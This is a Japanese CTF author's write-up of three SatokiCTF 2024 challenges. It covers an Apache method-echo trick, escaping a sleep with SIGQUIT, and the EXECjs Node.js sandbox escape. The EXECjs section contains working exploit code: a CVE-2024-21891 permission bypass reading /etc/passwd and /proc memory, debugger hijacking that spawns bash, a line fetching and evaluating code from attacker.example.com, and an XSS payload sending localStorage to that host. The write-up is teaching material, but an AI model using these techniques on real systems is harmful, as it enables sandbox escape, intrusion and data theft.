2024年8月25日から2024年8月26日にかけて、Satokiさん主催でSatokiCTF 2024が開催されました。Satokiさんの誕生日を記念しての開催ということで、おめでとうございます。
SatokiCTF 2024は「複数人で協力してSatokiを倒す (全完する) レイドバトル形式」と銘打ったCTFで、奇抜な問題だったり極端な難易度の問題だったりが出題されていたほか、ルール上「他の参加者の競技を妨害する行為」以外は許可されており、たとえばチーム間での協力や開催中のYouTube等でのライブ配信すら許されていました。たとえば、以下のような配信がありました:
- 【SatokiCTF】みんなでSatokiをぶっ倒せ!なんでもありのCTFをリアルタイム実況【ネタバレあり】
- SatokiCTFにてSatokiさんにぼこられる
- Satoki CTF ラスボス【EXECjs】討伐なるか?
このCTFに3問の問題(と賞品としてSteamのプリペイドカード5,000円分)を提供しましたので、作問者の視点で想定していた解法やその意図を紹介したいと思います。なお、今回出題した問題については、GitHubリポジトリで公開しています。
- [Misc 100] HBD (19 solves, warmup)
- [Misc 100] zzz (21 solves, warmup)
- [Web 500] EXECjs (1 solves, satoki)
[Misc 100] HBD (19 solves, warmup)
Apache HTTP Serverにも誕生日を祝わせることでフラグが得られます。
添付ファイル: hbd.zip
添付ファイルを展開してソースコードを確認していきます。compose.yml
は次の通りです。proxy
というコンテナの裏に、Apache HTTP Serverが動いている apache
というコンテナがいるという構成に見えます。フラグは proxy
が持っているようです。なお、apache
には設定ファイルどころかHTMLも含め、どのようなファイルも渡されていません。
services: proxy: build: proxy ports: - "8848:8000" depends_on: - apache environment: - FLAG=flag{dummy} apache: image: httpd:2.4
proxy/main.go
は次のとおりです。リバースプロキシのようで、proxy
を通して apache
にアクセスできるというような構造になっていることがわかります。
また、modify
という関数で apache
から返ってきたレスポンスを改変しており、もし HBD!Satoki!
というバイト列がレスポンスボディに含まれていれば、代わりにフラグをレスポンスとして返すことがわかります。しかしながら、先程見たように apache
はデフォルトの設定そのままでデプロイされています。どうすればよいでしょうか。
package main import ( "bytes" "io" "net/http" "net/http/httputil" "net/url" "strconv" "os" ) func getFlag() string { v := os.Getenv("FLAG") if len(v) == 0 { return "flag{dummy}" } return v } func modify(r *http.Response) error { body, err := io.ReadAll(r.Body) if err != nil { return err } var b []byte if bytes.Contains(body, []byte("HBD!Satoki!")) { b = []byte(getFlag()) } else { b = body } r.Body = io.NopCloser(bytes.NewReader(b)) r.Header.Set("Content-Length", strconv.Itoa(len(b))) return nil } func main() { url, _ := url.Parse("http://apache") proxy := httputil.NewSingleHostReverseProxy(url) proxy.ModifyResponse = modify http.ListenAndServe(":8000", proxy) }
Apache HTTP Serverは、デフォルトの設定でユーザから与えられた入力をそのまま出力するような機能を持っていないでしょうか。実は、リクエスト先のページが与えられたメソッドに対応していない場合、そのメソッド名が出力されます。英小文字や記号も受け付けます。
# curl localhost -X "Poyo!" <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>501 Not Implemented</title> </head><body> <h1>Not Implemented</h1> <p>Poyo! not supported for current URL.<br /> </p> </body></html>
これを利用して、HBD!Satoki!
をメソッド名として指定することでフラグが得られました。
$ curl localhost:8848 -X 'HBD!Satoki!' flag{tanjobi_anata_8ae01c4e}
first bloodはkoufu193さんでした。おめでとうございます。
フラグは誕生日からの連想でアリス・カータレットです。Satokiさんが作るような感じの変なMisc問がほしいな~と思い作ったものです。結果的にはあまり変な問題にはならなかったと思います。
[Misc 100] zzz (21 solves, warmup)
朝起きて 歯を磨いて あっという間 午後10時
sshpass -p ctf ssh ctf@(問題サーバのホスト名) -p 22222
ヒント:
SFTPやSCP, ポートフォワーディングといったSSHに関連する機能は、解くためには必要ありません。
なにかシンプルな方法でsleep infinity
を終了させられないでしょうか。添付ファイル: zzz.zip
添付ファイルを展開してソースコードを確認していきます。compose.yml
は次の通りです。zzz
というひとつのサービスだけが動いているようです。
services: zzz: build: . ports: - "22222:5000" init: true
Dockerfile
は次の通りです。SSHで接続すると、シェルの代わりに /app/zzz.sh
が実行されるようです。
FROM ubuntu:22.04 ENV DEBIAN_FRONTEND noninteractive RUN apt-get update && apt-get -y install openssh-server # thanks to https://github.com/SECCON/SECCON2022_online_CTF/blob/46742099d094a69c214f35498718b5c9ba900b26/misc/txtchecker/build/Dockerfile#L10 WORKDIR /app RUN groupadd -r ctf && useradd -m -r -g ctf ctf RUN echo "ctf:ctf" | chpasswd RUN echo 'ForceCommand "/app/zzz.sh"' >> /etc/ssh/sshd_config RUN echo 'Port 5000' >> /etc/ssh/sshd_config RUN mkdir /var/run/sshd COPY flag.txt / COPY zzz.sh /app/ RUN chmod 444 /flag.txt RUN chmod 555 /app/zzz.sh CMD /sbin/sshd -D
zzz.sh
は次の通りです。最後に cat /flag.txt
とフラグを表示する処理があるものの、その前に sleep infinity
と永遠に sleep
する処理があります。なんとかしてこの sleep
から脱出できないでしょうか。
#!/bin/bash echo "I'm going to sleep for a while. I will give you the flag when I wake up. Oyasumi!" sleep infinity cat /flag.txt
まず考えるのは Ctrl + C
や Ctrl + Z
ですが、コネクションが切断されてしまったり、そもそも無反応だったりします。
$ sshpass -p ctf ssh ctf@localhost -p 22222 I'm going to sleep for a while. I will give you the flag when I wake up. Oyasumi! ^CConnection to localhost closed. $ sshpass -p ctf ssh ctf@localhost -p 22222 I'm going to sleep for a while. I will give you the flag when I wake up. Oyasumi! ^Z^Z^Z^Z^Z^Z^Z^Z^Z^Z^Z
ほかに手段はないでしょうか。sshd_config
で明示的に有効化されていないことから、SFTPを使っての flag.txt
の取得はできません。ポートフォワーディングも意味がありません。
実は、Ctrl + C
で SIGINT
が、Ctrl + Z
で SIGTSTP
が送信できる以外にも、Ctrl + \
等*1で SIGQUIT
というシグナルを送ることもできます。これを何度か試してみると、次のように sleep infinity
だけを停止させてフラグが得られました。
$ sshpass -p ctf ssh ctf@localhost -p 22222 ^\/app/zzz.sh: line 2: 299 Quit sleep infinity flag{eternal_spring_dream_27ff12ce} Connection to localhost closed.
first bloodはkoufu193さんでした。おめでとうございます。
問題文はZzz、フラグは永遠に眠り続ける sleep
からの連想で、ドレミー・スイート戦で流れる「永遠の春夢」です。Dockerfile
や compose.yml
を含めても50行に満たない程度にシンプルで、新規性があり少し考える必要のある問題を作りたかったと思いできたものです。シグナルについて調べていたところ Ctrl + \
で SIGQUIT
を送信できるらしいと知り、なにか問題にできないかと思った結果としてこれができました。非常にシンプルなので過去にどこかのCTFで出題されていそうに思いましたが、私が調べた限りでは見つかりませんでした。もし出題実績があれば教えてください。
[Web 500] EXECjs (1 solves, satoki)
TsukuCTF 2023のEXECpyをパクってNode.js版を作りました。RCE2XSSしてください。
(InstancerのURL)
※ローカルでflagが取得できることを確認した後にリモートで試してください。
※添付ファイル中のcrawlerは、ローカルで試しやすいよう改変を加えたものです。本物の問題サーバでは、visit
関数を除いて大きく異なるコードが動いていますので、ご注意ください。添付ファイル: execjs.zip
問題の概要
まず問題文等から得られる情報として、ほかの問題はチーム間で共有の環境を使っているのに対して、この問題ではチームごとにinstancerを使って独立した環境が用意されるようになっています。ここから、破壊的な変更を加えるような攻撃が可能なのかもしれないと推測できます。
与えられたファイルを使って、問題サーバをローカルで立ち上げます。Webブラウザでアクセスすると次のような画面が表示されました。どうやら任意のJSコードが実行できるようです。
ソースコードを見ていきましょう。compose.yml
は次のとおりです。先程見た問題サーバが動いている backend
というサービスの他にも、XSS botらしき crawler
というサービスがあります。
services: backend: build: backend init: true cap_add: - SYS_PTRACE # note: I added this capability to make the challenge easier :p ports: - "3000:3000" crawler: build: crawler restart: unless-stopped ports: - "3001:3000" environment: - FLAG=flag{redacted}
crawler
から見ていきましょう。もっとも重要なのは index.js
ですが、その内容は次の通りです。ユーザが立ち上げたインスタンスへアクセスし、Local Storageにフラグを格納してから5秒待つという処理が行われています。それだけです。
ユーザから報告されたURLへアクセスする等のアクションは行われませんから、なんとかして backend
に任意のコンテンツを返させる必要があります。それで、localStorage.flag
を外部へ送信させたいところです。
import { chromium } from 'playwright'; import express from 'express'; const PORT = process.env.PORT || 3000; const FLAG = process.env.FLAG || 'flag{dummy}'; const SITE = 'http://backend:3000'; // note: this will be replaced to the URL of your own instance function sleep(t) { return new Promise(r => setTimeout(r, t)); } const visit = async () => { console.log('visiting'); let browser; try { browser = await chromium.launch({ executablePath: '/usr/bin/chromium', headless: true, pipe: true, args: [ '--disable-dev-shm-usage', '--disable-gpu', '--js-flags=--noexpose_wasm,--jitless', ], dumpio: true }); const context = await browser.newContext(); const page = await context.newPage(); await page.goto(SITE, { timeout: 3000, waitUntil: 'networkidle' }); page.evaluate(flag => { localStorage.flag = flag; }, FLAG); await sleep(5000); await browser.close(); browser = null; } catch (e) { console.log(e); } finally { if (browser) await browser.close(); } console.log('done'); }; const app = express(); app.get('/', (req, res) => { visit(); return res.send('crawling'); }); app.listen(PORT, () => { console.log(`listening on port ${PORT}`); });
backend
の方を見ていきましょう。index.js
は次のとおりです。シンプルな構造で、/
にJSコードをPOSTすると safeEval
という関数によって実行してその結果を返します。CSPが全ページに適用されており、default-src 'none'
とどのようなリソースの読み込みも許可されていません。
import fs from 'node:fs/promises'; import express from 'express'; import { safeEval, escape } from './util.js'; const PORT = process.env.PORT || 3000; const app = express(); app.use(express.urlencoded({ extended: false })); app.use((req, res, next) => { res.setHeader('Content-Security-Policy', "default-src 'none'"); // 😉 next(); }); const indexHtml = (await fs.readFile('index.html')).toString(); app.get('/', async (req, res) => { res.setHeader('Content-Type', 'text/html'); return res.send(indexHtml.replaceAll('{OUTPUT}', '')); }); app.post('/', async (req, res) => { let result = ''; const { code } = req.body; if (code && typeof code === 'string') { try { result = (await safeEval(code)).toString(); } catch { result = 'An error occurred.'; } } const html = indexHtml.replaceAll('{OUTPUT}', escape(result)); res.setHeader('Content-Type', 'text/html'); return res.send(html); }); app.listen(PORT, () => { console.log(`listening on port ${PORT}`); });
safeEval
は util.js
で定義されています。一時ディレクトリにユーザから与えられたJSコードをファイルとして保存した後に、Node.jsで実行しています。
この際、--experimental-permission
というオプションが付与されています。これはNode.jsで現在実験的に実装されている機能で、ファイルの読み込みや子プロセスの作成といった機能について、コマンドラインオプションから明示的に許可されない限り利用できないというものです。今回は --allow-fs-read=${tmpdir}
のみが与えられており、JSが存在するディレクトリ下のファイルを読む以外に、制限されている機能は利用できません。
import child_process from 'node:child_process'; import fs from 'node:fs/promises'; import tmp from 'tmp'; export async function safeEval(code) { let result = null; const { name: tmpdir, removeCallback } = tmp.dirSync(); const txtpath = `${tmpdir}/sample.txt`; const jspath = `${tmpdir}/index.js`; try { await fs.writeFile(txtpath, 'hello'); await fs.writeFile(jspath, code); const proc = child_process.execFileSync('node', [ '--experimental-permission', `--allow-fs-read=${tmpdir}`, '--noexpose_wasm', '--jitless', jspath ], { timeout: 60_000, cwd: tmpdir, stdio: ['ignore', 'pipe', 'pipe'] }); result = proc; } catch(e) { console.error('[err]', e); } finally { await fs.unlink(txtpath); await fs.unlink(jspath); removeCallback(); } return result; }; const escapeTable = { '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' }; export function escape(html) { return html.replaceAll(/[&<>"']/g, s => { return escapeTable[s]; }) };
サンドボックスから脱出して、Webサーバが動いているプロセスを乗っ取って任意のレスポンスを返させたいわけですが、どのようにすればよいでしょうか。材料を集めつつ考えていきましょう。
CVE-2024-21891によるPath Traversal
backend
の Dockerfile
から、Node.jsのバージョンはv20.11.0とやや古いことがわかります。Node.jsの20系は2026年4月までサポートということでまだまだ現役ではありますが、2024年8月段階での20系の最新バージョンはv20.16.0です。v20.11.0以降のチェンジログを見ると、複数のCVE番号が発番されていることがわかります。これらのうち、なにか使えそうなものはないでしょうか。
ひとつはCVE-2024-21891で、どうやらファイルシステム回りのpermissionの実装に問題があるためにバイパスができたようです。許可されたファイルへのアクセスであるかを確認する際に、node:fs
モジュールがパスの正規化時にユーザによって置き換え可能な関数に頼っているために、その関数を書き換えることでバイパスができるという脆弱性*2のようです。
PoCはすぐには見つかりませんが、脆弱性を修正したと思われるコミットを見ると、path.toNamespacedPath
を書き換えても問題なく動作するかを確認するテストコードが追加されています。これが通るか試してみましょう。
次のようなコードを用意します。
const fs = require('fs/promises'); const path = require('path'); path.toNamespacedPath = (path) => { return `${__dirname}/../../etc/passwd`; }; (async () => { console.log((await fs.readFile('.')).toString()); })();
実行すると、/etc/passwd
を読むことができました。
デバッガを起動させ、WebSocketのエンドポイントのURLを得る
ファイルの読み込みに関してはセキュリティ機構のバイパスができるようになりましたが、それ以外の子プロセスの作成やファイルの書き込みといったことはできません。親プロセスであるWebサーバのレスポンスの書き換えというゴールまではまだ遠いわけです。
次の一手として、デバッガの利用を考えます。親プロセスのデバッガを起動させて接続し、親プロセスのコンテキストでJSコードを実行させてサンドボックスから脱出したり、あるいはWebサーバのハンドラを書き換えてレスポンスを操作したりできないでしょうか。
上述のNode.jsのドキュメントを読むとわかるように、デバッガの起動は簡単にできます。Node.jsのプロセスに対して SIGUSR1
というシグナルを送信するだけです。親プロセスのPIDは process.ppid
や一時ディレクトリのパスから得られますし、SIGUSR1
シグナルの送信も特にpermissionsの制約を受けることなく process._debugProcess
によって行えます。
次のようなJSコードを実行します。
const ppid = require.main.path.split('-')[1]; process._debugProcess(+ppid);
Dockerのログを見てみると、次のようにデバッガが起動している様子が確認できました。ここで表示されている ws://127.0.0.1:9229/ad3559e7-01a8-491f-8cc0-bac70624f165
というようなWebSocketエンドポイントへ接続することでデバッグが可能です。
backend-1 | Debugger listening on ws://127.0.0.1:9229/ad3559e7-01a8-491f-8cc0-bac70624f165 backend-1 | For help, see: https://nodejs.org/en/docs/inspector
WebSocketのエンドポイントのURLにはUUIDが含まれていますが、これはデバッガの起動のたびに変わります。サンドボックスの内側からこのURLを得るにはどうすればよいでしょうか。これは http://127.0.0.1:9229/json/list
から得る方法があります…が、今回は使えません。Dockerfile
で --inspect-publish-uid=stderr
というコマンドラインオプションが付与されているためです。
--inspect-publish-uid
はどこからWebSocketのエンドポイントを得られるかを指定できるコマンドラインオプションです。stderr
のみが指定されている場合は、標準エラー出力にしかこのURLが出力されません。http
がその値として含まれていない限り、/json/list
等のHTTP APIからのURLの取得はできません。
HTTP APIからのURLの取得ができないのであれば、どうすればよいでしょうか。/proc/<pid>/mem
です。今回は親プロセスと子プロセスは同じUID/GIDですし、CAP_SYS_PTRACE
というcapabilityが追加されていますから、/proc/<pid>/mem
を読むことができます。メモリのどこかにはUUIDがあるでしょう。
メモリからUUIDを探し出すJSコードは次の通りです。
const fs = require('fs/promises'); const path = require('path'); const ppid = require.main.path.split('-')[1]; path.toNamespacedPath = (path) => { return `${__dirname}/../../proc/${ppid}/maps`; }; (async () => { const maps = await fs.readFile('.') + ''; path.toNamespacedPath = (path) => { return `${__dirname}/../../proc/${ppid}/mem`; }; const f = await fs.open('.'); let result = new Set(); const m = [0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]; for (const line of maps.split('\n')) { if (!line.includes('-')) continue; if (!line.includes('r')) continue; let [start, end] = line.split(' ')[0].split('-'); start = parseInt(start, 16); end = parseInt(end, 16); const size = end - start; const buf = Buffer.alloc(size); try { await f.read(buf, 0, size, start); } catch { continue; } let j = 0; for (let i = 0; i < size; i++) { switch (m[j]) { case 0: if ((0x30 <= buf[i] && buf[i] <= 0x39) || (0x61 <= buf[i] && buf[i] <= 0x66)) j++; else j = 0; break; case 1: if (buf[i] === 0x2d) j++; else j = 0; break; } if (j === m.length) { result.add(buf.slice(i - m.length + 1, i + 1).toString()); j = 0; } } } console.log(result); })();
実行すると、ひとつだけUUIDが見つかりました。WebSocketのエンドポイントのものと一致しています。
デバッガとの通信
これでデバッガのエンドポイントにアクセスするための情報が揃いましたが、デバッガとはWebSocketを通じて喋る必要があります。Node.jsでビルトインに WebSocket
を利用できるようになったのはv22.0.0になってからですので、なんとかして自前でWebSocketクライアントを用意する必要があります。
wsというPure JSで作られたNode.js向けのWebSocketライブラリがありますから、適当にバンドルしてやりましょう。esbuild
を使って、次のような内容の index.js
を用意し、esbuild index.js --bundle --minify --platform=node --outfile=out.js
というようなコマンドでバンドルします。これでWebSocketクライアントが利用できます。
globalThis.WebSocket = require('ws').WebSocket;
デバッグのためのプロトコルでは、Runtime.evaluate
というメソッドを使ってJSコードの実行ができます。親プロセスのコンテキストでJSコードを実行すればサンドボックスからの脱出ができそうですが、一旦立ち止まって、この後どう進めていくか考えましょう。
Webサーバの GET /
のハンドラを書き換えるのがゴールであるわけですが、そのためにはExpress由来のオブジェクトにアクセスする必要があります。そのために、次の関数にブレークポイントを置いた上で、ここに差し掛かった際にハンドラを書き換えるという方法が考えられます。
app.get('/', async (req, res) => { res.setHeader('Content-Type', 'text/html'); return res.send(indexHtml.replaceAll('{OUTPUT}', '')); });
ただ、今回のWebアプリは一度にひとつのリクエストしか処理できないような構成になっています。GET /
にブレークポイントを置いたところで、発火させられません。サンドボックス中でブレークポイントの設置や到達までの待機をしたとして、このコードの実行は POST /
のハンドラ中で行われているわけですから、別途 GET /
へのリクエストを送っても、コードの実行が終了するまで受け付けてくれません。
この問題を解決する方法として、別プロセスを立ち上げてブレークポイントの設置や、ブレークポイントへの到達時に GET /
のハンドラを書き換えるような処理をさせるということが考えられます。Runtime.evaluate
メソッドによって、親プロセスのコンテキストで process.binding('spawn_sync').spawn
を使い、/bin/bash -c '/usr/local/bin/node /tmp/poyoyoyoe.js >/dev/null 2>&1 &'
というような感じで立ち上げましょう。事前に /tmp/poyoyoyoe.js
へJSコードを書き込んでおく必要がありますが、これも process.binding
でやれるでしょう。
解く
さて、あとはここまでで立てた方針を実装していくだけです。まず、次のようなexploitを用意します。親プロセスのデバッガを起動させ、procfsからWebSocketのエンドポイントのURLを得て、デバッガに接続して…というような手順を踏みます。solve.php
については後述しますが、この solve.php
に含まれるJSコードが実行されることで、GET /
のハンドラが書き換えられます。
import re import time import httpx with open('compile-code/out.js', 'r') as f: ws = f.read() + '\n' with httpx.Client(base_url='http://localhost:3000') as client: def execute(code, use_ws=False): if use_ws: code = ws + code r = client.post('/', data={ 'code': code }) return re.findall(r'<pre>(.*?)</pre>', r.text, re.MULTILINE | re.DOTALL)[0].strip() # 1. 親プロセスにSIGUSR1を投げて強引にデバッガを起動させる execute(''' const ppid = require.main.path.split('-')[1]; process._debugProcess(+ppid); '''.strip()) time.sleep(1) # 2. /proc/{pid}/下のmapsとmemを読んでWebSocketのURLを得る ws_uuid = execute(''' const fs = require('fs/promises'); const path = require('path'); const ppid = require.main.path.split('-')[1]; path.toNamespacedPath = (path) => { return `${__dirname}/../../proc/${ppid}/maps`; }; (async () => { const maps = await fs.readFile('.') + ''; path.toNamespacedPath = (path) => { return `${__dirname}/../../proc/${ppid}/mem`; }; const f = await fs.open('.'); let result; const m = [0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]; for (const line of maps.split('\\n')) { if (!line.includes('-')) continue; if (!line.includes('r')) continue; let [start, end] = line.split(' ')[0].split('-'); start = parseInt(start, 16); end = parseInt(end, 16); const size = end - start; const buf = Buffer.alloc(size); try { await f.read(buf, 0, size, start); } catch { continue; } let j = 0; for (let i = 0; i < size; i++) { switch (m[j]) { case 0: if ((0x30 <= buf[i] && buf[i] <= 0x39) || (0x61 <= buf[i] && buf[i] <= 0x66)) j++; else j = 0; break; case 1: if (buf[i] === 0x2d) j++; else j = 0; break; } if (j === m.length) { result = buf.slice(i - m.length + 1, i + 1).toString(); break; } } } console.log(result); })(); '''.strip()) ws_endpoint = f'ws://127.0.0.1:9229/{ws_uuid}' print(ws_endpoint) # 3. デバッガのRuntime.evaluate + process.bindingでsandbox escapeに持ち込む。手順4-6はsolve.phpに存在 # なお、手順4以降は/proc/{pid}/memの書き換え等、別の方法でもいける気がする r = execute(''' const ws = new WebSocket('WS_ENDPOINT'); const code = ` setTimeout(async () => { process.binding('spawn_sync').spawn({ file: '/bin/bash', // refer attached solve.php args: ['/bin/bash', '-c', 'echo "(async()=>{ const r = await fetch(' + "'http://attacker.example.com/solve.php?ws=WS_ENDPOINT'" + '); eval(await r.text()); })()" > /tmp/poyoyoyoe.js'], envPairs: [], stdio: [ { type: 'pipe', readable: true, writable: true }, { type: 'pipe', readable: true, writable: true }, { type: 'pipe', readable: true, writable: true } ] }); process.binding('spawn_sync').spawn({ file: '/bin/bash', args: ['/bin/bash', '-c', '/usr/local/bin/node /tmp/poyoyoyoe.js >/dev/null 2>&1 &'], envPairs: [], stdio: [ { type: 'pipe', readable: true, writable: true }, { type: 'pipe', readable: true, writable: true }, { type: 'pipe', readable: true, writable: true } ], }); }, 5000); `; ws.on('open', () => { ws.send(JSON.stringify({ id: 1, method: 'Runtime.evaluate', params: { expression: code } })); }); setTimeout(() => { ws.close(); }, 3000); '''.replace('WS_ENDPOINT', ws_endpoint).strip(), True) time.sleep(10) # 7. 一応レスポンスが書き換わっているか確認 r = client.get('/') print(r.text) # 8. 完了。admin botに見てもらおう
solve.php
は次の通りです。Debugger.enable
メソッドで /app/index.js
のScriptIdを得て、それを元に GET /
のハンドラへ Debugger.setBreakPoint
メソッドでブレークポイントを置きます。ブレークポイントへ到達したことを意味する Debugger.paused
イベントが発生するまで待ち、そのタイミングで Debugger.evaluateOnCallFrame
により GET /
のハンドラを書き換えます。
<?php echo file_get_contents('out.js'); // compile-code下でnpm run buildして出力されたJSファイル ?> function sleep(t) { return new Promise(r => setTimeout(r, t)); } const ws = new WebSocket('<?= $_GET['ws'] ?>'); ws.on('error', console.error); // 4. まずは情報収集。/app/index.jsのScriptIdを得たい ws.on('open', () => { ws.send(JSON.stringify({ id: 1, method: 'Runtime.enable' })); ws.send(JSON.stringify({ id: 2, method: 'Debugger.enable' })); }); ws.on('message', async data => { const d = JSON.parse(data.toString()); // 5. /app/index.jsのScriptIdをゲット。GET /にブレークポイントを置く if (d.method === 'Debugger.scriptParsed') { if (!d.params.embedderName.includes('/app/index.js')) return; ws.send(JSON.stringify({ id: 3, method: 'Debugger.setBreakpoint', params: { location: { scriptId: d.params.scriptId, lineNumber: 16 } } })); } // 6. setIntervalで回していたおかげでGET /のハンドラに到達 // reqからたどってLayerのhandleを書き換えることで、GET /のハンドラを置き換えられる // CSPヘッダを削除しつつ、レスポンスとしてlocalStorageを外部に送信するものへ変える if (d.method === 'Debugger.paused') { ws.send(JSON.stringify({ id: 4, method: 'Debugger.evaluateOnCallFrame', params: { callFrameId: d.params.callFrames[0].callFrameId, //expression: `req.route.stack[0].handle = (req, res) => { res.removeHeader('Content-Security-Policy'); res.send('<script>alert(123)</script>') }` expression: `req.route.stack[0].handle = (req, res) => { res.removeHeader('Content-Security-Policy'); res.send('<script>setInterval(()=>{(new Image).src="http://attacker.example.com/log?" + localStorage.flag}, 500)</script>') }` } })); await sleep(1000); ws.send(JSON.stringify({ id: 5, method: 'Debugger.resume' })); await sleep(1000); ws.close(); } }); setInterval(() => { fetch('http://localhost:3000'); }, 500); setTimeout(() => { ws.close(); }, 10_000);
exploitを実行すると、問題サーバが <script>setInterval(()=>{(new Image).src="http://attacker.example.com/log?" + localStorage.flag}, 500)</script>
をレスポンスとして返すようになりました。CSPも解除されています。これをXSS botに報告することで、フラグが得られました。
flag{kaenbyou_rin_fe6d4c7d}
問題文の通り、以前SatokiさんがTsukuCTF 2023にEXECpyという問題を出していたことから、そのオマージュとしてJavaScriptでRCE2XSSする問題を作成したものです。フラグは特に問題の要素とは関係なく、私が東方で一番好きなキャラのお燐です。
難易度を最上のsatokiと設定した問題は0 solvesを目指す、というSatokiさんからの要請があったので、なるべく難しくなるよう調整しました。パズル的な方向で難しくしたかったのですが、私の力不足のために腕力でなんとかする方向で難しい問題となりました。
難易度satokiとはいえ、開催数週間前の時点でDiscordサーバには150名超のユーザがいた上に、Webに非常に強いプレイヤーが国内外から複数名入っていたことから、1-3 solves程度は出るかもしれないと考えていました。また、サンドボックス中ですら実行できるコードの自由度が高いことから、簡単な非想定解法が出ることも危惧していました。
first bloodはstrellicさんでした。おめでとうございます。CTFの開始から7時間弱ということで、かなりの速度で解かれたことがわかります。
主な要素は以下のような感じでしょうか。どれだけNode.jsとそのデバッグプロトコルを知っているか、また調べられるかという雰囲気の問題でした。過程としては全体的に面倒なものの、一番面倒なパートであるV8 Inspector ProtocolでのおしゃべりはUIUCTF 2021 - wasmcloudやcorCTF 2021 - saasmeといった出題実績がありexploitがある程度流用できますし、そもそもSatokiCTFはレイドバトルでありチーム間での情報共有が許可されているというコンセプトだったので、問題なかろう*3と思い出題しました。
process._debugProcess
(SIGUSR1シグナルの送信)を使ったNode.jsのデバッガの立ち上げ- 既知のNode.jsの脆弱性を使ったPath Traversal
/proc/<pid>/mem
からのWebSocketエンドポイントの取得- Node.jsのデバッガとの通信によるサンドボックスからの脱出
node index.js
のプロセスを止めずにレスポンスを書き換えるパズル
WebSocketエンドポイントについて、実は元々は http://127.0.0.1:9229/json
からの取得ができるようになっていました。これは意図したものでしたが、そのままではsaasmeと大部分が解法が被ってしまうのではないかという恐れから、またNode.jsのソースコードを確認したところ --inspect-publish-uid
オプションでこのHTTPのAPIを潰せるとわかったことから、問題にこのコマンドラインオプションを組み込むことにしました。/proc/<pid>/mem
を読ませるために必要だったために CAP_SYS_PTRACE
というcapabilityを追加しています*4が、これはちょっと露骨だったかもしれません。
ほか、情報収集をしている中で、今年r3kapigが開催したR3CTF 2024においてもJustMongoという類題が出題されていることを知りました。これはEXECjsと同じように --experimental-permission
と --allow-fs-read=(一時ディレクトリ)
というオプションでサンドボックスを実現しているものですが、どうやらWebAssembly + WASIでサンドボックスからの脱出ができるようでした。対象のバージョンはv20.14.0、EXECjsで使っているバージョンはv20.11.0ということで、明らかにaffectedです。しかし、CVE-2024-21891はv20.14.0ではすでに修正されてしまっていますから、アップデートはできません。なんとかできないかと考え、V8のオプションである --noexpose_wasm
によって WebAssembly
へのアクセスを潰すことにしました。
ちなみに、今回用いられていたinstancerは、この問題のために作成したものです。すぽんとコンテナをspawnしてくれるので名前はSupponとしました。Container Spawner, Klodd, deploy-dynamicといった既存のツールを使う選択肢もありましたが、特にそうすべき理由もなく新たに作りました。新造ということでやや怖くはありましたが、SatokiCTFは実験場みたいなものですし。
(2024-09-01追記)wasiを使わなかったり(HackerOneでの報告も参照のこと)、v8.setFlagsFromString
で強引に --no-jitless
と --expose-wasm
を生やして WebAssembly
を使えるようにしたりできるようです。すごい。(追記終わり)